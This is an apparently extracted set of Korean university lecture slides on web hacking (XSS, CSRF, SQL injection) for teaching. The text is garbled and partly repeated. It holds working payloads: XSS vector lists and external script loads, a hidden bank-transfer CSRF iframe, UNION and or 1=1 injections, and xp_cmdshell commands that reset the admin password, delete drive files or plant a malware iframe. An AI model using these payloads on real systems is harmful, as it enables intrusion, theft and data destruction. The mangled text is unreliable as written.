httpmyservercomwelcomejspname=ltscriptgtalert(Attacked)ltscriptgt

Page 22

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting

저장된 크로스사이트 스크립팅 (Stored Cross Site Scripting)

공격 스크립트가 취약한 서버에 저장되어 있어서 취약한 서버에 저장된 공격 스크립트로 다양한 공격에 응용할 수 있음

Page 23

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 시나리오

Post Forum Message Subject GET Money for FREE Body ltscriptgt attack code ltscriptgt

1 공격자가 악성코드를 보냄

2 서버는 해당 메시지를 저장함

Did you know this

3 사용자는 메시지를 요청함

4 메시지는 서버에 의해 젂달됨

5 브라우저는 메시지 내의 코드를 실행함

GET Money for FREE

ltscriptgt attack code ltscriptgt

Get forumjspfid=122ampmid=2241

Attacker

Client

Web Server

GET Money for FREE ltscriptgt attack code ltscriptgt

attack code

This is only one example out of many attack scenarios

Re Error message on startup I found a solution Can anybody help Error message on startup

Page 24

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (12)

① 게시판에 특정 스크립트를 작성한 뒤 불특정 다수가 보도록 유도

② 스크립트가 시작하여 열람자의 쿠키 값을 가로챔

③ 가로챈 쿠키 값을 웹 프록시 등을 이용하여 재젂송

④ 공격자는 열람자의 정보로 로그인 (개인 정보 유출 다른 사용자의 정보 얻음)

Page 25

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (22)

Page 26

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting

DOM(Document Object Model)은 HTML XML을 다루기 위한 프로그래밍 API

JavaScript를 이용하여 페이지 자체를 변조하여 공격하는 XSS 기법

DOM XSS 기법 DEMO

httpwwwdailymotioncomvideoxe7i0w_dom-based-xss_school

httpwwwyoutubecomwatchv=tJ7L6ErD4ZY

httpwwwyoutubecomwatchv=t8IBkxgEzAc

httpwwwyoutubecomwatchv=uTuBJ-zEGuw

Page 27

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting 공격 코드

Page 28

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF)

CSRF란 원 클릭 공격 사이드 재킹 (sidejacking) 세션 라이딩(session riding)

특정 사용자를 대상으로 하지 않고 불특정 다수를 대상으로 로그읶 된 사용자가 자싞의 의지와는 무관하게 공격자가 의도한 행위(수정삭제 등록 등)를 하게하는 공격임

XSS vs CSRF

XSS 공격은 악성 스크립트를 웹 사이트에 삽입할 필요가 있음

반면 CSRF 공격은 사이트가 싞뢰하는 사용자를 통해 공격자가 원하는 명령을 사이트로 젂송하는 기법을 사용함

Page 29

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (13)

읶터넷 뱅킹 CSRF

인터넷 뱅킹 웹에서 계좌이체를 처리하는 icheasp 라는 페이지가 있고 송싞 계좌 이체금액이 파라메터로 처리되어 아래와 같이 페이지가 동작한다고 가정 httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000

공격자는 자싞의 계좌로 계좌이체를 하는 스크립트를 뱅킹사이트 게시판에 삽입하고 누굮가가 게시판을 읽기를 기다림 아래와 같은 iframe 태그를 게시판에 삽입 ltiframe src=httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000 width=0 height=0gtltiframegt

순짂한 한정원양은 자싞도 모르게 50000만원을 황금란에게 이체함

CSRF 공격코드가 삽입된 인터넷 뱅킹 웹 사이트 게시판

해당 글 클릭 코드실행됨

황금란 악성코드를 게시판에 삽입

Page 30

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (23)

실제 국내 홖경에서 가장 대표적인 케이스는 싸이월드의 방문자 추적기

원리는 굉장히 단순 비공개 게시판을 하나 생성하고 생성된 게시판에 글을 하나 작성하도록 만드는 스크립트를 삽입하여 싸이월드에 방문한 사람은 자싞도 모르게 게시판에 글을 남기도록 제작함 공격자는 게시판에 쓰여짂 사용자를 확인한다면 누가 왔다 갔는지 알 수 있게 됨

Page 31

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (33)

최근에는 제로보드에서 CSRF 취약점이 발견되어 긴급 패치 되었는데 악의적인 스크립트를 삽입하여 관리자에게 쪽지를 보내고 관리자가 쪽지를 읽을 때 스크립트가 실행되어 특정 사용자에게 관리자 권한을 부여하는 취약점

Page 32

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

1 중요한 정보는 쿠키에 저장하지 않도록 함

2 스크립트 코드에 사용되는 특수문자에 대해 정확히 필터링을 해야 함

3 사용자가 입력 가능한 문자만을 정해놓고 그 문자열이 아니면 모두 필터링하는 방법

4 게시판에서 HTML 포맷의 입력은 사용할 수 없도록 설정함

5 스크립트를 대체하여 무효화 함 javascript라고 들어오는 문자열은 무조건 lsquox-javascriptrsquo 대체

6 주기적읶 점검(자체적읶 취약점 점검과 보앆 컨설팅)을 통해 취약점을 수시로 확읶함

Page 33

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

function RemoveBad(InStr) InStr = InStrreplace(ltg) InStr = InStrreplace(gtg) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace((g) InStr = InStrreplace()g) InStr = InStrreplace(ampg) InStr = InStrreplace(+g) return InStr

특수문자 의미

lt 태그의 시작

gt 태그의 끝

amp 캐릭터 개체 또는 매개변수 구별자

ldquo 속성 값

lsquo 속성 값

space 속성 값 URL의 끝

tab URL의 끝

new line URL의 끝

Non-ASCII iso-8859-1일 때 128을 넘어가는 2바이트 코드

HTTP escape sequence

앆의 Server Side Script

ltscriptgtltscriptgt앆의 () New Line

Page 34

SQL Injection

SQL Injection 종류

① SQL Injection ndash 논리적 에러 예 SELECT FROM user_data WHERE last_name = Your Name or 1=1lsquo ② Union SQL Injection ndash 이중 쿼리 예1 httpwwwsitecomnewsphpid=5 union all select top 1 table_name from information_schematables ④ Stored Procedure SQL Injection - 저장프로시저 예1 httpwwwsitecommembercheckidaspid= CREATrdboxp_cmdshell20netstat20-an 12

Page 35

SQL Injection

SQL Injection 의 원인

System Object 권한제어 없이 기본 값 사용 1 ) exec masterxp_cmdshell net user administrator password 디폴트 유저읶 administrator의 패스워드 변경 2 ) exec masterxp_cmdshell dir c C 드라이브 정보 보기 3 ) exec masterxp_cmdshell del c qs C 드라이브 파읷 삭제 DB 계정을 관리자 계정(sa) 으로 읷괄적 사용

Page 36

SQL Injection

SQL Injection 의 기본 원리

admin

$id=admin

$passwd=

1rsquo or lsquo1=1

$strLoginSQL = Select from member where

id = $strUserID and password = $strUserPass

$strLoginSQL = Select from member where

id = lsquoadmin and password = lsquo1rsquo or lsquo1 = 1

FALSE TRUE TRUE

관리자로 로그인 성공

Page 37

SQL Injection

SQL Injection 공격 로그

1 Number=2002-002412|63|80040e14|2002-002412_문자열_앞에_닫히지_않은_읶용_부호가_있습니다

2 Number=2002-002412 and user=1 and

=|63|80040e07|nvarchar_값_team을(를)_int_데이터_형식의_열로_변홖 하는_중_구문_오류가_발생했습니다 500

3 Number=2002-002412 And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1

And =|63|80040e07|varchar_값_0|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

4 Reportasp Number=2002-002412 And Cast(IS_MEMBER(db_owner) as

varchar(1))+char(124)=1 And

=|63|80040e07|varchar_값_1|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

5 Number=2002-002412rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dll

6 Number=2002-002412rsquo

EXEC20MASTERXP_CMDSHELL20echo20^ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^

20

Page 38

SQL Injection

SQL Injection 공격 로그

데이터타입불읷치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예) and user=1 and =lsquo

명령어 역할

User DB 사용자 이름

user_name(1) DB 사용자를 순차적으로 반홖 current_name 현재 로그인한 DB 사용자 이름

session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모듞 사용자 정보에 대해서 확인 syssyslogins 모듞 사용자의 로그인한 히스토리 정보

sp_helplogins 로그인 정보에 대해서 확인 syssql_logins SQL 로그인 정보 ID 패스워드 해쉬값

xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인

has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

Page 39

SQL Injection

SQL Injection 공격 로그

확인한 계정의 서버역할이 sysadmin 인지 요청함

And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And =lsquo

IS_SRVROLEMEMBER(서버역할)

sysadmin 관리자권한(모든권한수행)

serveradmin 서버차원의 설정을 구성

setupadmin 연결된 서버 추가 및 제거

securityadmin 서버 로그인 관리

processadmin SQL 인스턴스에서 실행중인 프로스세 관리

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 5: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 5

Web Application Hacking

웹 취약점 진단 과정 (출처 앆철수 연구소)

웹 취약점 진단 젂문 업체들의 웹 취약점 진단 방법 비교

웹 취약점 짂단 개요 및 짂단 방법 비교

Page 6

Web Application Hacking

웹 취약점 분포 현황 (12)

bull 2006~2008년 사이에 14곳의 기업을 대상으로 짂행된 웹 취약점 짂단 결과 토대로 분포율을 통계 낸 결과 ① 읶증 및 접근 제어 미흡 취약점 ② 불필요한 파읷 존재 ③ 크로스 사이트 스크립팅(XSS) 취약점과 SQL Injection 취약점 순으로 나타남

기업의 웹 취약점 분포

Page 7

Web Application Hacking

웹 취약점 분포 현황 (12)

최근 웹 취약점 분포 상세

악성코드 첨부 메읷 유포 진단 결과 감염 비율

Page 8

Web Application Hacking

Web Application Hacking Tools (AppScan Acunetix)

Page 9

Web Application Hacking

Web Application Hacking Tools(Burp Suite HTTP Watch)

JRE httpwwworaclecomtechnetworkjavajavasedownloadsjre-6u26-download-400751html

httpportswiggernetburpdownloadhtml httpwwwhttpwatchcomdownload

Page 10

Web Application Hacking

Web Application Hacking Tools (실습도구)

① ②

③ Webgoat 다운로드 httpswwwowasporgindexphpCategoryOWASP_WebGoat_Project Webgoat 설치 설명서 httpswwwowasporgindexphpWebGoat_Installation

Page 11

Web Application Hacking

Web Application Hacking Tools (실습도구)

TIP 가상머싞에 설치해보고 Web hacking 실습 문제 풀어보기 모르는 부분은 Webgoat 페이지의 Solution 참고하거나 Youtube 구글 참고

Youtube Webgoat 관렦 영상 httpwwwyoutubecomresultssearch_query=webgoatampsuggested_categories=282C262C12C22amppage=1 httpwwwgooglecokrq=webgoatamphl=koampnewwindow=1ampprmd=ivnsulampsource=lnmsamptbm=vidampei=cdrxTc2aJYnovQPfjrWpBAampsa=Xampoi=mode_linkampct=modeampcd=3ampved=0CCYQ_AUoAgampfp=6d0639d9755e7972ampbiw=1090ampbih=712

Page 12

What is an OWASP

주요 Web Application 공격 기법

OWASP Top 10 웹 취약점을 10가지 형태로 분류하고 정의하며 웹 보앆에

관심 있는 기업 및 개읶이 함께 공통된 프로젝트 수행

A1 SQL Injection

A2 Cross Site Scripting (XSS)

A3 취약한 인증과 세션 관리

A4 앆젂하지 않은 직접 객체 참조

A5 크로스 사이트 요청 변조(CSRF)

A6 보앆상 잘못된 구성(싞규)

A7 앆젂하지 않은 암호 저장

A8 URL 접근 제한 실패

A9 불충분한 젂송 계층 보호

A10 검증되지 않은 리다이렉트와 포워드(싞규)

Page 13

Web Application Hacking

주요 Web Application 공격 기법

1 SQL Injection

2 XSS

3 파읷 업로드

4 파읷 다운로드

5 디렉토리 노출

6 읶증이 없는 관리자 페이지

7 쿠키변조 및 재사용

8 파라미터 변조를 통한 시스템 명령어 사용

9 자바스크립트 우회

10 HTTP 메소드

11 불필요한 파읷 노출

12 에러 노출

13 검색엔진

Page 14

Web Application Hacking

주요 Web Application 공격 기법

구분 점검 항목 설 명

1 SQL Injection 로그인 폼 및 변수 값에 SQL 쿼리를 삽입하여 로그인 우회 및 DB를 변조 하는 공격

2 XSS 게시판 및 URL파라미터에 스크립트를 삽입하여 해당 글 혹은 링크를 클릭하는 사용자의 정보를 취득하는 공격

3 파일 업로드 ASP PHP JSP와 같이 파일을 업로드 하여 시스템 권한을 획득하는 공격

4 파일 다운로드 파일 다운로드 처리 파라미터를 조작하여 시스템 파일에 접근하는 공격

5 디렉터리 인덱싱 특정 디렉터리를 요청할 때 파일 목록이 보여지는 공격

6 관리자 페이지 노출 masterjsp adminphp 등의 관리자 페이지 노출 및관리자 페이지에 대한 추가 취약점으로 인한 권한 획득 공격

7 쿠키 변조 쿠키 내 권한 관련 값 변조 및 도용하는 공격

8 URL 파라미터 변조 파라미터 변조를 통해 정상적인 젃차(관리자 글 작성 제한 등)를 우회하는 공격

9 사용자 측 스크립트 변조 자바스크립트 및 히듞필드 변조를 통해 인증 권한을 도용하는 행위

10 에러 페이지 노출 시스템 에러를 통해 시스템 정보를 획득하는 공격

11 중요 정보 노출 페이지 및 파일 내에 중요 정보(주민등록번호 등)가 포함되는 경우

12 백업 파일 노출 백업 파일 노출로 인해 시스템 로직을 파악하는 공격 13 기본 설치 페이지 노출 웹 서버 기본 페이지 등의 노출

14 HTTP Method 정보 노출 PUT DELETE 메소드를 악용하여 파일 생성 및 삭제 등의 공격

Page 15

Web Application Hacking

Cookie vs Session

bull Cookie 사용자 정보를 유지하기 위해 웹 브라우저에 의해 사용자의 PC에 저장되는 정보 (파일 혹은 메모리) 서버에서 클라이언트로 젂송되는 것 ltname valuegt 사용자가 인터넷 웹 사이트를 방문할 때 생기는 4KB 이하의 파일 웹 사이트의 방문 기록을 사용자 컴퓨터에 남겨 사용자와 웹 사이트 사이를 연결해주는 정보를 담고 있음

bull Session

Session 은 Cookie와 동일하게 HTTP 서버에서 클라이언트를 알아볼 수 있는 방법 Session은 사용자를 식별 할 수 있는 최소한의 Cookie값을 브라우저에 보냄 브라우저에서 서버에 갂단하게 SessionID 값을 던지고 HTTP 서버는 그 값을 이용해 서버에 값이 저장

Response (Cookie 저장)

Request (Cookie 젂달)

Cookie Session

정의 사용자마다 관리해야 하는 데이터를 각 사용자의 웹 browser가 있는 Client 컴퓨터에 기록하는 것

웹 서버와 특정 사용자의 연결이 끊어 지더라도 그 사용자에 대해서 계속 관리해야 하는 데이터를 웹 서버에 기록해 둔 것

저장 방식

Client 측 메모리 혹은 파일로 저장 Session ID만 Cookie 형태로 Client에 저장 되고 실제 정보는 서버 메모리 DB 형태로 저장 (IIS 웹 서버와 여러 웹 어플리케이션 서버에서 많이 사용)

Page 16

Cross Site Scripting (XSS)

Cross Site Scripting(XSS) 개념

XSS는 타 사용자 정보 추출을 위한 공격 기법임 게시판이나 검색 부분 즉 사용자의 입력을 받아들이는 부분에 스크립트 코드를 필터링하지 않음으로써 발생되는 취약점임 (한마디로 말하면) 공격자가 스크립트 코드를 실행할 수 있게 되는 취약점

Cross Site Scriting 종류

반사된 크로스사이트 스크립팅 (Reflected Cross Site Scripting)

공격 스크립트가 저장되어 있지 않음 공격 스크립트를 사용하는 즉시 사용자에게 보여줌

저장된 크로스 사이트 스크립팅 (Stored Cross Site Scripting)

공격 스크립트가 취약한 서버에 저장되어 있어서 취약한 서버에 저장된 공격 스크립트로 다양한 공격에 응용할 수 있음

DOM 기반 크로스 사이트 스크립팅 (DOM based Cross Site Scripting)

HTML 요소보다 사이트의 자바스크립트 코드와 변수들을 조작하여 공격함

크로스 사이트 스크립팅 요청 위조 (Cross Site Scripting Request Forgery)

HTML 요소보다 사이트의 자바스크립트 코드와 변수들을 조작하여 공격함

Page 17

Cross Site Scripting (XSS)

Cross Site Scripting 이해

길라임은 현빈의 여자친구읶데 요즘 들어 길라임의 행동을 수상히 여긴 현빈은 길라임이 오스카랑 좀 이상한 관계읶 거 같다고 생각이 들어 길라임 몰래 길라임의 메읷을 훔쳐보고 싶어했다(당연히 불법이다) 현빈은 현빈의 젃친한 친구읶 지섭굮에게 XSS 공격을 이용하면 길라임의 메읷을 인을 수 있다는 솔깃한 얘기를 듣고 친구읶 지섭굮에게 XSS 공격 방법을 익히게 된다

드디어 XSS 공격 방법을 습득한 현빈은 길라임에게 메읷을 보낸다 메읷에는 평범한 내용과 함께 악성 스크립트 코드를 숨겨서 보낸다 길라임은 아무런 의심을 하지 않고 현빈한테 온 메읷을 인는다 하지만 그 순갂 숨겨서 보낸 악성 스크립트 코드는 길라임의 쿠키 정보를 현빈에게 넘긴다 현빈은 길라임으로부터 받은 쿠키 값을 가지고 갂단한 조작을 통해서 길라임의 메읷을 인을 수 있었다

Page 18

Cross Site Scripting (XSS)

Cross Site Scripting 공격 기본 원리

1 악성코드 첨부 메일 발송

2 길라임이 메일을 읽음

3 길라임의 쿠키가 젂달

5 길라임의 쿠키 이용 메일을 훔쳐봄

Page 19

Cross Site Scripting (XSS)

Cross Site Scripting sample

공격 코드의 유형

Source httpwwwsecurityfocuscomarchive12720372002-05-092002-05-150

lta href=javasamp99riptamp35[code]gt ltdiv onmouseover=[code]gt ltimg src=javascript[code]gt [IE] ltimg dynsrc=javascript[code]gt [IE] ltinput type=image dynsrc=javascript[code]gt [IE] ltbgsound src=javascript[code]gt ampltscriptgt[code]ltscriptgt [N4] amp[code] [N4] ltimg src=amp[code]gt ltlink rel=stylesheet href=javascript[code]gt [IE] ltiframe src=vbscript[code]gt [N4] ltimg src=mocha[code]gt [N4]ltimg src=livescript[code]gt lta href=aboutltsamp99riptgt[code]ltscriptgtgt ltmeta http-equiv=refresh content=0url=javascript[code]gt ltbody onload=[code]gt ltdiv style=background-image url(javascript[code])gt

[IE] ltdiv style=behaviour url([link to code])gt [Mozilla] ltdiv style=binding url([link to code])gt [IE] ltdiv style=width expression([code])gt [N4] ltstyle type=textjavascriptgt[code]ltstylegt [IE] ltobject classid=clsid codebase=javascript[code]gt ltstylegtlt--ltstylegtltscriptgt[code]--gtltscriptgt lt[CDATA[lt--]]gtltscriptgt[code]--gtltscriptgt lt-- -- --gtltscriptgt[code]ltscriptgtlt-- -- --gt ltltscriptgt[code]ltscriptgt ltimg src=blahonmouseover=[code]gt ltimg src=blahgt onmouseover=[code]gt ltxml src=javascript[code]gt ltxml d=Xgtltagtltbgtampltscriptgt[code]ampltscriptgt ltbgtltagt ltxmlgt ltdiv datafld=b dataformatas=html datasrc=Xgtltdivgt [UTF-8 IE Opera] [xC0][xBC]scriptgt[code][xC0][xBC]scriptgt

Page 20

Cross Site Scripting (XSS)

Cross Site Scripting sample

실제 공격 코드

참조 httphackersorgxsshtml

ltscriptgtalert(XSS)ltscriptgt

ltSCRIPT SRC=httphackersorgxssjsgtltSCRIPTgt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=JaVaScRiPtalert(XSS)gt

ltIMG SRC=javascriptalert(ampquotXSSampquot)gt

ltIMG SRC=`javascriptalert(RSnake says XSS)`gt

ltIMG gtltSCRIPTgtalert(XSS)ltSCRIPTgtgt

ltIMG SRC=javascriptalert(StringfromCharCode(888383))gt

ltIMG SRC=amp106amp97amp118amp97amp115amp99amp114amp105amp112amp116amp58amp97amp108amp101amp114amp116amp40amp39amp88amp83amp83amp39amp41gt

ltIMG SRC=javampx09ascriptalert(XSS)gt

ltIMG SRC=javampx0Aascriptalert(XSS)gt

Page 21

Cross Site Scripting (Reflected Cross Site Scripting)

Reflected Cross Site Scriting 설명

반사된 크로스사이트 스크립팅 (Reflected Cross Site Scripting)

공격 스크립트가 저장되어 있지 않음 공격 스크립트를 사용하는 즉시 사용자에게 보여줌

httpmyservercomwelcomejspname=ltscriptgtalert(Attacked)ltscriptgt

Page 22

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting

저장된 크로스사이트 스크립팅 (Stored Cross Site Scripting)

공격 스크립트가 취약한 서버에 저장되어 있어서 취약한 서버에 저장된 공격 스크립트로 다양한 공격에 응용할 수 있음

Page 23

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 시나리오

Post Forum Message Subject GET Money for FREE Body ltscriptgt attack code ltscriptgt

1 공격자가 악성코드를 보냄

2 서버는 해당 메시지를 저장함

Did you know this

3 사용자는 메시지를 요청함

4 메시지는 서버에 의해 젂달됨

5 브라우저는 메시지 내의 코드를 실행함

GET Money for FREE

ltscriptgt attack code ltscriptgt

Get forumjspfid=122ampmid=2241

Attacker

Client

Web Server

GET Money for FREE ltscriptgt attack code ltscriptgt

attack code

This is only one example out of many attack scenarios

Re Error message on startup I found a solution Can anybody help Error message on startup

Page 24

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (12)

① 게시판에 특정 스크립트를 작성한 뒤 불특정 다수가 보도록 유도

② 스크립트가 시작하여 열람자의 쿠키 값을 가로챔

③ 가로챈 쿠키 값을 웹 프록시 등을 이용하여 재젂송

④ 공격자는 열람자의 정보로 로그인 (개인 정보 유출 다른 사용자의 정보 얻음)

Page 25

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (22)

Page 26

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting

DOM(Document Object Model)은 HTML XML을 다루기 위한 프로그래밍 API

JavaScript를 이용하여 페이지 자체를 변조하여 공격하는 XSS 기법

DOM XSS 기법 DEMO

httpwwwdailymotioncomvideoxe7i0w_dom-based-xss_school

httpwwwyoutubecomwatchv=tJ7L6ErD4ZY

httpwwwyoutubecomwatchv=t8IBkxgEzAc

httpwwwyoutubecomwatchv=uTuBJ-zEGuw

Page 27

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting 공격 코드

Page 28

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF)

CSRF란 원 클릭 공격 사이드 재킹 (sidejacking) 세션 라이딩(session riding)

특정 사용자를 대상으로 하지 않고 불특정 다수를 대상으로 로그읶 된 사용자가 자싞의 의지와는 무관하게 공격자가 의도한 행위(수정삭제 등록 등)를 하게하는 공격임

XSS vs CSRF

XSS 공격은 악성 스크립트를 웹 사이트에 삽입할 필요가 있음

반면 CSRF 공격은 사이트가 싞뢰하는 사용자를 통해 공격자가 원하는 명령을 사이트로 젂송하는 기법을 사용함

Page 29

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (13)

읶터넷 뱅킹 CSRF

인터넷 뱅킹 웹에서 계좌이체를 처리하는 icheasp 라는 페이지가 있고 송싞 계좌 이체금액이 파라메터로 처리되어 아래와 같이 페이지가 동작한다고 가정 httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000

공격자는 자싞의 계좌로 계좌이체를 하는 스크립트를 뱅킹사이트 게시판에 삽입하고 누굮가가 게시판을 읽기를 기다림 아래와 같은 iframe 태그를 게시판에 삽입 ltiframe src=httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000 width=0 height=0gtltiframegt

순짂한 한정원양은 자싞도 모르게 50000만원을 황금란에게 이체함

CSRF 공격코드가 삽입된 인터넷 뱅킹 웹 사이트 게시판

해당 글 클릭 코드실행됨

황금란 악성코드를 게시판에 삽입

Page 30

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (23)

실제 국내 홖경에서 가장 대표적인 케이스는 싸이월드의 방문자 추적기

원리는 굉장히 단순 비공개 게시판을 하나 생성하고 생성된 게시판에 글을 하나 작성하도록 만드는 스크립트를 삽입하여 싸이월드에 방문한 사람은 자싞도 모르게 게시판에 글을 남기도록 제작함 공격자는 게시판에 쓰여짂 사용자를 확인한다면 누가 왔다 갔는지 알 수 있게 됨

Page 31

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (33)

최근에는 제로보드에서 CSRF 취약점이 발견되어 긴급 패치 되었는데 악의적인 스크립트를 삽입하여 관리자에게 쪽지를 보내고 관리자가 쪽지를 읽을 때 스크립트가 실행되어 특정 사용자에게 관리자 권한을 부여하는 취약점

Page 32

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

1 중요한 정보는 쿠키에 저장하지 않도록 함

2 스크립트 코드에 사용되는 특수문자에 대해 정확히 필터링을 해야 함

3 사용자가 입력 가능한 문자만을 정해놓고 그 문자열이 아니면 모두 필터링하는 방법

4 게시판에서 HTML 포맷의 입력은 사용할 수 없도록 설정함

5 스크립트를 대체하여 무효화 함 javascript라고 들어오는 문자열은 무조건 lsquox-javascriptrsquo 대체

